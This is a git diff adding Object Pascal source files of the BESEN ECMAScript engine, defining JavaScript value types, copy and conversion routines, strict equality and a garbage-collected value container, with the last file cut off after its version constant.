100644 index 0000000..201945d --- /dev/null +++ b/Core/JS/BESENValue.pas @@ -0,0 +1,705 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENValue; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENStringUtils,BESENCharSet,Variants; + +const brbvtUNDEFINED=0; + brbvtBOOLEAN=1; + brbvtNUMBER=2; + brbvtSTRING=3; + brbvtOBJECT=4; + brbvtENVREC=5; + + brbvtFIRST=brbvtUNDEFINED; + brbvtLAST=brbvtENVREC; + + bvtUNDEFINED=0; + bvtNULL=1; + bvtBOOLEAN=2; + bvtNUMBER=3; + bvtSTRING=4; + bvtOBJECT=5; + bvtREFERENCE=6; + bvtLOCAL=7; + bvtENVREC=8; + bvtNONE=9; + + bvtFIRST=bvtUNDEFINED; + bvtLAST=bvtNONE; + +type TBESENReferenceBaseValueType=ptruint; + + PBESENReferenceBaseValue=^TBESENReferenceBaseValue; + TBESENReferenceBaseValue=record + Str:TBESENString; +{$ifdef BESENEmbarcaderoNextGen} + Obj:TObject; + EnvRec:TObject; +{$endif} + case ValueType:TBESENReferenceBaseValueType of + brbvtUNDEFINED:( + ); + brbvtBOOLEAN:( + Bool:TBESENBoolean; + ); + brbvtNUMBER:( + Num:TBESENNumber; + ); + brbvtSTRING:( + ); + brbvtOBJECT:( +{$ifndef BESENEmbarcaderoNextGen} + Obj:TObject; +{$endif} + ); + brbvtENVREC:( +{$ifndef BESENEmbarcaderoNextGen} + EnvRec:TObject; +{$endif} + ); + end; + + TBESENValueType=ptruint; + + PBESENValue=^TBESENValue; + TBESENValue=record + Str:TBESENString; + ReferenceBase:TBESENReferenceBaseValue; +{$ifdef BESENEmbarcaderoNextGen} + Obj:TObject; + EnvRec:TObject; +{$endif} + case ValueType:TBESENValueType of + bvtUNDEFINED:( + ); + bvtNULL:( + ); + bvtBOOLEAN:( + Bool:TBESENBoolean; + ); + bvtNUMBER:( + Num:TBESENNumber; + ); + bvtSTRING:( + ); + bvtOBJECT:( +{$ifndef BESENEmbarcaderoNextGen} + Obj:TObject; +{$endif} + ); + bvtREFERENCE:( + ReferenceIsStrict:longbool; + ReferenceHash:TBESENHash; + ReferenceIndex:TBESENINT32; + ReferenceID:TBESENINT32; + ); + bvtLOCAL:( + LocalIndex:TBESENINT32; + ); + bvtENVREC:( +{$ifndef BESENEmbarcaderoNextGen} + EnvRec:TObject; +{$endif} + ); + bvtNONE:( + ); + end; + + TBESENValueTypes=array of TBESENValueType; + + TBESENValueTypesItems=array of TBESENValueTypes; + + TBESENValues=array of TBESENValue; + + TBESENValuePointers=array of PBESENValue; + + PPBESENValues=^TPBESENValues; + TPBESENValues=array[0..($7fffffff div sizeof(PBESENValue))-1] of PBESENValue; + + TBESENPointerToValues=array of PBESENValue; + + TBESENCopyReferenceBaseValueProc=procedure(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} + + TBESENCopyReferenceBaseValueProcs=array[brbvtFIRST..brbvtLAST] of TBESENCopyReferenceBaseValueProc; + + TBESENCopyValueProc=procedure(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} + + TBESENCopyValueProcs=array[bvtFIRST..bvtLAST] of TBESENCopyValueProc; + + TBESENValueToRefBaseValueProc=procedure(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} + + TBESENValueToRefBaseValueProcs=array[bvtFIRST..bvtLAST] of TBESENValueToRefBaseValueProc; + + TBESENRefBaseValueToValueProc=procedure(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} + + TBESENRefBaseValueToValueProcs=array[brbvtFIRST..brbvtLAST] of TBESENRefBaseValueToValueProc; + + TBESENRefBaseValueToCallThisArgValueProc=procedure(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); + + TBESENRefBaseValueToCallThisArgValueProcs=array[brbvtFIRST..brbvtLAST] of TBESENRefBaseValueToCallThisArgValueProc; + +procedure BESENCopyReferenceBaseValueUndefined(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyReferenceBaseValueBoolean(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyReferenceBaseValueNumber(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyReferenceBaseValueString(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyReferenceBaseValueObject(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyReferenceBaseValueEnvRec(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyReferenceBaseValueNone(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} + +procedure BESENCopyReferenceBaseValue(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} + +procedure BESENCopyValueUndefined(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyValueNull(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyValueBoolean(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyValueNumber(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyValueString(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyValueObject(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyValueReference(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyValueLocal(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyValueEnvRec(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENCopyValueNone(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} + +procedure BESENCopyValue(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} + +procedure BESENValueToRefBaseValueUndefined(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENValueToRefBaseValueNull(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENValueToRefBaseValueBoolean(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENValueToRefBaseValueNumber(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENValueToRefBaseValueString(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENValueToRefBaseValueObject(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENValueToRefBaseValueReference(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENValueToRefBaseValueLocal(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENValueToRefBaseValueEnvRec(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +procedure BESENValueToRefBaseValueNone(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} + +procedure BESENValueToReferenceBaseValue(const Value:TBESENValue;var AResult:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} + +procedure BESENRefBaseValueToValueUndefined(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENRefBaseValueToValueBoolean(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENRefBaseValueToValueNumber(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENRefBaseValueToValueString(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENRefBaseValueToValueObject(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENRefBaseValueToValueEnvRec(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} + +procedure BESENReferenceBaseValueToValue(const Value:TBESENReferenceBaseValue;var AResult:TBESENValue); {$ifdef UseRegister}register;{$endif} + +procedure BESENRefBaseValueToCallThisArgValueUndefined(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENRefBaseValueToCallThisArgValueBoolean(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENRefBaseValueToCallThisArgValueNumber(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENRefBaseValueToCallThisArgValueString(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENRefBaseValueToCallThisArgValueObject(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +procedure BESENRefBaseValueToCallThisArgValueEnvRec(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} + +const BESENCopyReferenceBaseValueProcs:TBESENCopyReferenceBaseValueProcs=(BESENCopyReferenceBaseValueUndefined, + BESENCopyReferenceBaseValueBoolean, + BESENCopyReferenceBaseValueNumber, + BESENCopyReferenceBaseValueString, + BESENCopyReferenceBaseValueObject, + BESENCopyReferenceBaseValueEnvRec); + + BESENCopyValueProcs:TBESENCopyValueProcs=(BESENCopyValueUndefined, + BESENCopyValueNull, + BESENCopyValueBoolean, + BESENCopyValueNumber, + BESENCopyValueString, + BESENCopyValueObject, + BESENCopyValueReference, + BESENCopyValueLocal, + BESENCopyValueEnvRec, + BESENCopyValueNone); + + BESENValueToRefBaseValueProcs:TBESENValueToRefBaseValueProcs=(BESENValueToRefBaseValueUndefined, + BESENValueToRefBaseValueNull, + BESENValueToRefBaseValueBoolean, + BESENValueToRefBaseValueNumber, + BESENValueToRefBaseValueString, + BESENValueToRefBaseValueObject, + BESENValueToRefBaseValueReference, + BESENValueToRefBaseValueLocal, + BESENValueToRefBaseValueEnvRec, + BESENValueToRefBaseValueNone); + + BESENRefBaseValueToValueProcs:TBESENRefBaseValueToValueProcs=(BESENRefBaseValueToValueUndefined, + BESENRefBaseValueToValueBoolean, + BESENRefBaseValueToValueNumber, + BESENRefBaseValueToValueString, + BESENRefBaseValueToValueObject, + BESENRefBaseValueToValueEnvRec); + + BESENRefBaseValueToCallThisArgValueProcs:TBESENRefBaseValueToCallThisArgValueProcs=(BESENRefBaseValueToCallThisArgValueUndefined, + BESENRefBaseValueToCallThisArgValueBoolean, + BESENRefBaseValueToCallThisArgValueNumber, + BESENRefBaseValueToCallThisArgValueString, + BESENRefBaseValueToCallThisArgValueObject, + BESENRefBaseValueToCallThisArgValueEnvRec); + +function BESENValueToVariant(const v:TBESENValue):Variant; +procedure BESENVariantToValue(const vt:Variant;var v:TBESENValue); + +function BESENBooleanValue(const Bool:TBESENBoolean):TBESENValue; +function BESENNumberValue(const Num:TBESENNumber):TBESENValue; +function BESENStringValue(const Str:TBESENString):TBESENValue; +{$ifndef BESENSingleStringType} +function BESENStringLocaleCharsetValue(const Str:TBESENAnsiString):TBESENValue; +{$endif} +function BESENObjectValue(const Obj:TObject):TBESENValue; +function BESENObjectValueEx(const Obj:TObject):TBESENValue; + +function BESENEqualityExpressionStrictEquals(const a,b:TBESENValue):longbool; + +var BESENEmptyValue:TBESENValue; + BESENNullValue:TBESENValue; + BESENUndefinedValue:TBESENValue; + BESENDummyValue:TBESENValue; + +implementation + +uses BESEN,BESENNumberUtils,BESENEnvironmentRecord; + +procedure BESENCopyReferenceBaseValueUndefined(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtUNDEFINED; +end; + +procedure BESENCopyReferenceBaseValueBoolean(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtBOOLEAN; + Dest.Bool:=Src.Bool; +end; + +procedure BESENCopyReferenceBaseValueNumber(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtNUMBER; + Dest.Num:=Src.Num; +end; + +procedure BESENCopyReferenceBaseValueString(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtSTRING; + Dest.Str:=Src.Str; +end; + +procedure BESENCopyReferenceBaseValueObject(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtOBJECT; + Dest.Obj:=Src.Obj; +end; + +procedure BESENCopyReferenceBaseValueEnvRec(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtENVREC; + Dest.EnvRec:=Src.EnvRec; +end; + +procedure BESENCopyReferenceBaseValueNone(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtNONE; +end; + +procedure BESENCopyReferenceBaseValue(var Dest:TBESENReferenceBaseValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + BESENCopyReferenceBaseValueProcs[Src.ValueType](Dest,Src); +end; + +procedure BESENCopyValueUndefined(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtUNDEFINED; +end; + +procedure BESENCopyValueNull(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtNULL; +end; + +procedure BESENCopyValueBoolean(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtBOOLEAN; + Dest.Bool:=Src.Bool; +end; + +procedure BESENCopyValueNumber(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtNUMBER; + Dest.Num:=Src.Num; +end; + +procedure BESENCopyValueString(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtSTRING; + Dest.Str:=Src.Str; +end; + +procedure BESENCopyValueObject(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtOBJECT; + Dest.Obj:=Src.Obj; +end; + +procedure BESENCopyValueReference(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtREFERENCE; + BESENCopyReferenceBaseValue(Dest.ReferenceBase,Src.ReferenceBase); + Dest.Str:=Src.Str; + Dest.ReferenceIsStrict:=Src.ReferenceIsStrict; + Dest.ReferenceHash:=Src.ReferenceHash; + Dest.ReferenceIndex:=Src.ReferenceIndex; + Dest.ReferenceID:=Src.ReferenceID; +end; + +procedure BESENCopyValueLocal(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtLOCAL; + Dest.LocalIndex:=Src.LocalIndex; +end; + +procedure BESENCopyValueEnvRec(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtENVREC; + Dest.EnvRec:=Src.EnvRec; +end; + +procedure BESENCopyValueNone(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtNONE; +end; + +procedure BESENCopyValue(var Dest:TBESENValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + BESENCopyValueProcs[Src.ValueType](Dest,Src); +end; + +procedure BESENValueToRefBaseValueUndefined(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtUNDEFINED; +end; + +procedure BESENValueToRefBaseValueNull(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtUNDEFINED; +end; + +procedure BESENValueToRefBaseValueBoolean(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtBOOLEAN; + Dest.Bool:=Src.Bool; +end; + +procedure BESENValueToRefBaseValueNumber(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtNUMBER; + Dest.Num:=Src.Num; +end; + +procedure BESENValueToRefBaseValueString(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtSTRING; + Dest.Str:=Src.Str; +end; + +procedure BESENValueToRefBaseValueObject(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtOBJECT; + Dest.Obj:=Src.Obj; +end; + +procedure BESENValueToRefBaseValueReference(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtUNDEFINED; +end; + +procedure BESENValueToRefBaseValueLocal(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtUNDEFINED; +end; + +procedure BESENValueToRefBaseValueEnvRec(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtENVREC; + Dest.EnvRec:=Src.EnvRec; +end; + +procedure BESENValueToRefBaseValueNone(var Dest:TBESENReferenceBaseValue;const Src:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=brbvtUNDEFINED; +end; + +procedure BESENValueToReferenceBaseValue(const Value:TBESENValue;var AResult:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + BESENValueToRefBaseValueProcs[Value.ValueType](AResult,Value); +end; + +procedure BESENRefBaseValueToValueUndefined(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtUNDEFINED; +end; + +procedure BESENRefBaseValueToValueBoolean(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtBOOLEAN; + Dest.Bool:=Src.Bool; +end; + +procedure BESENRefBaseValueToValueNumber(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtNUMBER; + Dest.Num:=Src.Num; +end; + +procedure BESENRefBaseValueToValueString(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtSTRING; + Dest.Str:=Src.Str; +end; + +procedure BESENRefBaseValueToValueObject(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtOBJECT; + Dest.Obj:=Src.Obj; +end; + +procedure BESENRefBaseValueToValueEnvRec(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtENVREC; + Dest.EnvRec:=Src.EnvRec; +end; + +procedure BESENReferenceBaseValueToValue(const Value:TBESENReferenceBaseValue;var AResult:TBESENValue); {$ifdef UseRegister}register;{$endif} +begin + BESENRefBaseValueToValueProcs[Value.ValueType](AResult,Value); +end; + +procedure BESENRefBaseValueToCallThisArgValueUndefined(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtUNDEFINED; +end; + +procedure BESENRefBaseValueToCallThisArgValueBoolean(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtBOOLEAN; + Dest.Bool:=Src.Bool; +end; + +procedure BESENRefBaseValueToCallThisArgValueNumber(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtNUMBER; + Dest.Num:=Src.Num; +end; + +procedure BESENRefBaseValueToCallThisArgValueString(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtSTRING; + Dest.Str:=Src.Str; +end; + +procedure BESENRefBaseValueToCallThisArgValueObject(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +begin + Dest.ValueType:=bvtOBJECT; + Dest.Obj:=Src.Obj; +end; + +procedure BESENRefBaseValueToCallThisArgValueEnvRec(var Dest:TBESENValue;const Src:TBESENReferenceBaseValue); {$ifdef UseRegister}register;{$endif} +var ImplicitThisValue:PBESENValue; +begin + ImplicitThisValue:=@TBESENEnvironmentRecord(Src.EnvRec).ImplicitThisValue; + Dest.ValueType:=ImplicitThisValue.ValueType; + Dest.Obj:=ImplicitThisValue.Obj; +end; + +function BESENValueToVariant(const v:TBESENValue):Variant; +begin + case v.ValueType of + bvtNULL:begin + result:=Variants.Null; + end; + bvtBOOLEAN:begin + result:=V.Bool; + end; + bvtSTRING:begin + result:=V.Str; + end; + bvtNUMBER:begin + result:=V.Num; + end; + else begin + result:=Variants.Unassigned; + end; + end; +end; + +procedure BESENVariantToValue(const vt:Variant;var v:TBESENValue); +begin + try + case VarType(vt) of + varNull:begin + V.ValueType:=bvtNULL; + end; + varSmallInt,varInteger,varShortInt,varByte,varWord,varLongWord,varInt64{$ifdef fpc},varQWord{$endif}:begin + V.ValueType:=bvtNUMBER; + V.Num:=vt; + end; + varSingle,varDouble,varDATE,varCurrency:begin + V.ValueType:=bvtNUMBER; + V.Num:=vt; + end; + varBoolean:begin + V.ValueType:=bvtBOOLEAN; + V.Bool:=vt; + end; + varString,varOleStr:begin + V.ValueType:=bvtSTRING; + V.Str:=vt; + end; + else begin + V.ValueType:=bvtUNDEFINED; + end; + end; + except + V.ValueType:=bvtUNDEFINED; + end; +end; + +function BESENBooleanValue(const Bool:TBESENBoolean):TBESENValue; +begin + result.ValueType:=bvtBOOLEAN; + result.Bool:=Bool; +end; + +function BESENNumberValue(const Num:TBESENNumber):TBESENValue; +begin + result.ValueType:=bvtNUMBER; + result.Num:=Num; +end; + +function BESENStringValue(const Str:TBESENString):TBESENValue; +begin + result.ValueType:=bvtSTRING; + result.Str:=Str; +end; + +{$ifndef BESENSingleStringType} +function BESENStringLocaleCharsetValue(const Str:TBESENAnsiString):TBESENValue; +begin + result.ValueType:=bvtSTRING; + result.Str:=BESENUTF8ToUTF16(BESENEncodeString(Str,BESENLocaleCharset,UTF_8)); +end; +{$endif} + +function BESENObjectValue(const Obj:TObject):TBESENValue; +begin + result.ValueType:=bvtOBJECT; + result.Obj:=Obj; +end; + +function BESENObjectValueEx(const Obj:TObject):TBESENValue; +begin + if assigned(Obj) then begin + result.ValueType:=bvtOBJECT; + result.Obj:=Obj; + end else begin + result:=BESENNullValue; + end; +end; + +function BESENObjectValueEx2(const Obj:TObject):TBESENValue; +begin + if assigned(Obj) then begin + result.ValueType:=bvtOBJECT; + result.Obj:=Obj; + end else begin + result:=BESENUndefinedValue; + end; +end; + +function BESENEqualityExpressionStrictEquals(const a,b:TBESENValue):longbool; +begin + if a.ValueType<>b.ValueType then begin + result:=false; + end else begin + case a.ValueType of + bvtUNDEFINED:begin + result:=true; + end; + bvtNULL:begin + result:=true; + end; + bvtNUMBER:begin +{$ifdef UseSafeOperations} + if BESENIsNaN(a.Num) then begin + result:=false; + end else if BESENIsNaN(b.Num) then begin + result:=false; + end else begin + result:=(a.Num=b.Num) or (BESENIsZero(a.Num) and BESENIsZero(b.Num)); + end; +{$else} + result:=(not (BESENIsNaN(a.Num) or BESENIsNaN(b.Num))) and (a.Num=b.Num); +{$endif} + end; + bvtSTRING:begin + result:=a.Str=b.Str; + end; + bvtBOOLEAN:begin + result:=a.Bool=b.Bool; + end; + bvtOBJECT:begin + result:=a.Obj=b.Obj; + end; + else begin + result:=false; + end; + end; + end; +end; + +procedure InitBESEN; +begin + fillchar(BESENEmptyValue,sizeof(TBESENValue),#0); + fillchar(BESENNullValue,sizeof(TBESENValue),#0); + fillchar(BESENUndefinedValue,sizeof(TBESENValue),#0); + BESENEmptyValue.ValueType:=bvtUNDEFINED; + BESENNullValue.ValueType:=bvtNULL; + BESENUndefinedValue.ValueType:=bvtUNDEFINED; + BESENDummyValue:=BESENEmptyValue; +end; + +procedure DoneBESEN; +begin +end; + +initialization + InitBESEN; +finalization + DoneBESEN; +end. diff --git a/Core/JS/BESENValueContainer.pas b/Core/JS/BESENValueContainer.pas new file mode 100644 index 0000000..25aa356 --- /dev/null +++ b/Core/JS/BESENValueContainer.pas @@ -0,0 +1,77 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENValueContainer; +{$i BESEN.inc} + +interface + +uses BESENValue,BESENGarbageCollector; + +type TBESENValueContainer=class(TBESENGarbageCollectorObject) + public + Value:TBESENValue; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN; + +constructor TBESENValueContainer.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Value:=BESENEmptyValue; +end; + +destructor TBESENValueContainer.Destroy; +begin + Value.Str:=''; + Value.ReferenceBase.Str:=''; + inherited Destroy; +end; + +procedure TBESENValueContainer.Finalize; +begin + TBESEN(Instance).GarbageCollector.FinalizeValue(Value); + inherited Finalize; +end; + +procedure TBESENValueContainer.Mark; +begin + TBESEN(Instance).GarbageCollector.GrayValue(Value); + inherited Mark; +end; + +end. + \ No newline at end of file diff --git a/Core/JS/BESENVersionConstants.pas b/Core/JS/BESENVersionConstants.pas new file mode 100644 index 0000000..4cc8cdc --- /dev/null +++ b/Core/JS/BESENVersionConstants.pas @@ -0,0 +1,42 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENVersionConstants; +{$i BESEN.inc} + +interface + +const BESENVersion='20150630-2027-0000'; + + 